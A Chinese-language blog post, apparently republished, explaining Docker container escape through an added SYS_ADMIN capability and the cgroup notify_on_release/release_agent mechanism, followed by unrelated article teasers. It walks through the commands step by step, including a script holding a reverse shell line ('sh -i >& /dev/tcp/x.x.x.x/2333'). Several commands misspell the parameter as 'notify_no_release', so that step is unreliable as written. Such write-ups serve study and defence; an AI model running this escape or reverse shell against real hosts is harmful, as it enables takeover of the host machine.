Docker逃逸---授权 SYS_ADMIN Capability逃逸原理浅析

目录

一、产生原因

二、利用条件

三、复现过程

1、容器内挂载宿主机cgroup

2、设置notify_no_release并寻找容器在宿主机上的存储路径

3、将恶意脚本写入release_agent


一、产生原因

给容器额外授权了SYS_ADMIN Cap,并且容器以root权限运行,攻击者拿到容器root权限后可以通过SYS_ADMIN挂载宿主机cgroup,并利用cgroup notify_on_release的特性在宿主机执行shell,从而实现容器逃逸。

CAP_SYS_ADMIN允许执行系统管理任务,如加载或卸载文件系统、设置磁盘配额等

二、利用条件

1、容器以root权限运行;

2、给容器额外授予了SYS_ADMIN Capability;

3、容器没有启用Docker默认的AppArmor配置文件docker-default,或者AppArmor允许运行mount       syscall

其中,条件1和2是必需的,而条件3在某些宿主机上比较容易满足,比如CentOS等Red Hat系统的Linux操作系统上默认没有安装AppArmor。

三、复现过程

1、拉取ubuntu镜像,创建容器

docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 bash

操作系统为CentOS系列的默认没有安装 AppArmor,但Ubuntu需要将AppArmor安全选项改为unconfined

2、容器内挂载宿主机cgroup

mkdir /tmp/cgrp
mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x

创建目录cgrp用于挂载

挂载宿主机的memory cgroup到目录cgrp上

为了不影响宿主机,创建子目录x,作为执行目录

3、设置notify_no_release并寻找容器在宿主机上的存储路径

cgroup的每一个subsystem(子目录)都有参数notify_on_release,这个参数值是Boolean型,1或0,分别可以启动和禁用释放代理的指令。

notify_on_release表示是否在cgroup中最后一个任务退出时运行release_agent内的内容

如果值为0:

默认情况下为0,表示不运行

如果值为1:

cgroup下所有task结束的时候,那么内核就会运行root cgroup下release_agent文件中的对应路径的文件

echo 1 > /tmp/cgrp/x/notify_no_release

将 notify_no_release设置为1

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo $host_path

 查找容器在宿主机上的存储路径

root@2e7113beb0fe:~# cat /tmp/cgrp/release_agent
/var/lib/docker/overlay2/e7c7a5b3e3c8ea30bf0f8a7ea7d1d04ddbe4b6c29143e2a494e733f00b77e986/diff/cmd

4、将恶意脚本写入release_agent

echo "$host_path/cmd" > /tmp/cgrp/release_agent

在这个目录里创建一个cmd文件,并把它作为/tmp/cgrp/x/release_agent参数指定的文件。

echo '#!/bin/sh' > /cmd
echo "sh -i >& /dev/tcp/x.x.x.x/2333 0>&1" >> /cmd
chmod a+x /cmd

 将恶意shell脚本写入cmd文件

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

最后,POC触发宿主机执行cmd文件中的shell。

该命令启动一个sh进程,将sh进程的PID写入到/tmp/cgrp/x/cgroup.procs里,这里的\$\$表示sh进程的PID。

在执行完sh -c之后,sh进程自动退出,这样cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行

最后成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/160589.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构之堆

目录 前言 堆的概念与结构 堆的实现 堆的初始化 堆的销毁 堆的显示 堆的插入 堆的向上调整算法 堆的删除 堆的向下调整算法 堆的判空 获取堆顶元素 堆的数据个数 堆的创建 前言 二叉树的顺序结构存储即使用数组存储,而数组存储适用于完全二叉树&#xf…

C# OpenVINO Cls 图像分类

效果 耗时 class idbrown_bear, score0.86 preprocess time: 0.00ms infer time: 2.72ms postprocess time: 0.02ms Total time: 2.74ms项目 代码 using OpenCvSharp; using Sdcb.OpenVINO; using Sdcb.OpenVINO.Natives; using System; using System.Diagnostics; using Sys…

【分享】教你加速访问GitHub,进来学!

哈喽,大家好,木易巷来啦! 众所周知,Github是一款程序猿必备的代码托管平台,上面已经存在了无数前辈的心血!经常需要在上面查看大佬写的一些好用的开源项目,无赖国外网站的速度实在让人难以接受。…

基于ssm+vue的线上点餐系统

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:Vue 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目:是 目录…

间歇性微服务问题...

在Kubernetes环境中,最近由于特定配置导致Pod调度失败。哪种 Kubernetes 资源类型(通常与节点约束相关)可能导致此故障,尤其是在未正确定义的情况下? 节点选择器资源配额优先级污点Pod 中断预算 已有 201 人回答了该…

华为数通方向HCIP-DataCom H12-831题库(单选题:261-280)

第261题 某网络通过部署1S-IS实现全网与通,若在一台IS-IS路由器的某接口下配置命令isis timer holding multiplier 5 level-2,则以下关于该场景的描述,正确的是哪一项? A、该接口Level-2邻居保持时间为5秒 B、该接口Level-1邻居保持时间为30秒 C、该接口为点对点链路接口 …

工控网络协议模糊测试:用peach对modbus协议进行模糊测试

0x00 背景 本人第一次在FB发帖,进入工控安全行业时间不算很长,可能对模糊测试见解出现偏差,请见谅。 在接触工控安全这一段时间内,对于挖掘工控设备的漏洞,必须对工控各种协议有一定的了解,然后对工控协议…

Qt开发之路--模块化设计.pri文件

Qt开发之路--模块化设计.pri文件 QT pro文件和pri文件的区别Chapter1 Qt开发之路--模块化设计.pri文件一:.pri文件简介二:通过.pri模块化设计三:结尾 Chapter2 Qt开发大型项目时,通过.pri文件将众多文件按功能模块分类显示Qt中多p…

概率神经网络分类问题程序

欢迎关注“电击小子程高兴的MATLAB小屋” %% 概率神经网络 %% 解决分类问题 clear all; close all; P[1:8]; Tc[2 3 1 2 3 2 1 1]; Tind2vec(Tc) %数据类型的转换 netnewpnn(P,T); Ysim(net,P); Ycvec2ind(Y) %转换回来

7天狂揽 1.3w star 的 MetaGPT,他们的目标让软件公司为之一惊

在 AI 产品爆炸的今天,拥有各种本领的 AI 产品层出不穷,但 MetaGPT 的出现仍然显的格外耀眼,其可以实现只输入单一 prompt,就可以输出需求分析、需求文档、技术架构、最终代码等等产物,这相当于一个开发团队的输出成果…

Linux:【Kafka四】集群介绍与单机搭建

目录 环境简介 一、搭建kafka集群 1.1、复制出两个kafka的配置文件 1.2、修改配置文件中的如下属性 二、启动kafka集群 三、可校验kafka三个节点是否均启动成功 四、查看集群中主题的分区和副本 4.1、新建一个包含了分区和副本的主题 4.2、查看该主题的详细信息 五、…

Android查看签名信息系列 · 使用逆向分析工具JadxGUI获取签名

前言 Android查看签名信息系列之使用逆向分析工具JadxGUI获取签名,通过这种方式,可以获取到的签名信息包括:MD5、SHA1、SHA-256、公钥(模数)等信息 实现方法 1、进入JadxGUI目录下的lib文件夹内,找到jadx-gui-1.4.7.jar文件 2、…

计算机网络第2章-HTTP和Web协议(2)

Web和HTTP 一个新型应用即万维网(World Wide Web)Web。 HTTP概况 Web的应用层协议是超文本传输协议(HTTP),它是Web的核心。 HTTP由两个程序实现:一个用户程序和一个服务器程序。 Web页面(W…

VSCode 调试 u-boot

文章目录 VSCode 调试 u-boot调试配置启动 u-boot 脚本调试界面重定向之后继续调试参考 VSCode 调试 u-boot 调试配置 参考 qemu基础篇——VSCode 配置 GDB 调试 要想调试 u-boot 只需要再添加一个 u-boot 的配置即可 {"version": "0.2.0","conf…

如果你有一次自驾游的机会,你会如何准备?

常常想来一次说走就走的自驾游,但是光是想想就觉得麻烦的事情好多:漫长的公路缺少娱乐方式、偏僻拗口的景点地名难以导航、不熟悉的城市和道路容易违章…… 也因为如此,让我发现了HUAWEI HiCar这个驾驶人的宝藏! 用HUAWEI HiCar…

科研上新 | 第2期:可驱动3D肖像生成;阅读文本密集图像的大模型;文本控制音色;基于大模型的推荐智能体

编者按:欢迎阅读“科研上新”栏目!“科研上新”汇聚了微软亚洲研究院最新的创新成果与科研动态。在这里,你可以快速浏览研究院的亮点资讯,保持对前沿领域的敏锐嗅觉,同时也能找到先进实用的开源工具。 本期内容速览 …

16 个 Linux 最佳 Markdown 编辑器(2)

对于初学者来说,Markdown 是一个用 Perl 编写的简单且轻量级的工具,它使用户能够编写纯文本格式并将其转换为有效的 HTML(或 XHTML)。它是一种易于阅读、易于编写的纯文本语言,也是一种用于文本到 HTML 转换的软件工具…

操作系统四大特征

OS四大特征 1.OS的并发性(同一时间间隔内执行和调度多个程序的能力) 宏观上,处理机同时执行多道程序 微观上,处理机在多道程序间高速切换(分时交替执行),微观上并非是同时执行的。 关注单个处理机同一时间段内处理任…

IOS课程笔记[4-5] 计算器实现与更换主题 的使用

计算 控件介绍 文本输入 设置键盘格式为NumberPad字符串与数字转换方法 NSInteger num2 [str2 integerValue]; 弹窗控件 UIAlertController 新版本弹窗 UIAlertController *alert [UIAlertController alertControllerWithTitle:"error" message:"输入有…

数据结构-----红黑树的插入

目录 前言 红黑树的储存结构 一、节点旋转操作 左旋(Left Rotation) 右旋(Right Rotation) 二、插入节点 1.插入的是空树 2.插入节点的key重新重复 3.插入节点的父节点是黑色 4.插入节点的父节点是红色 4.1父节点是祖父…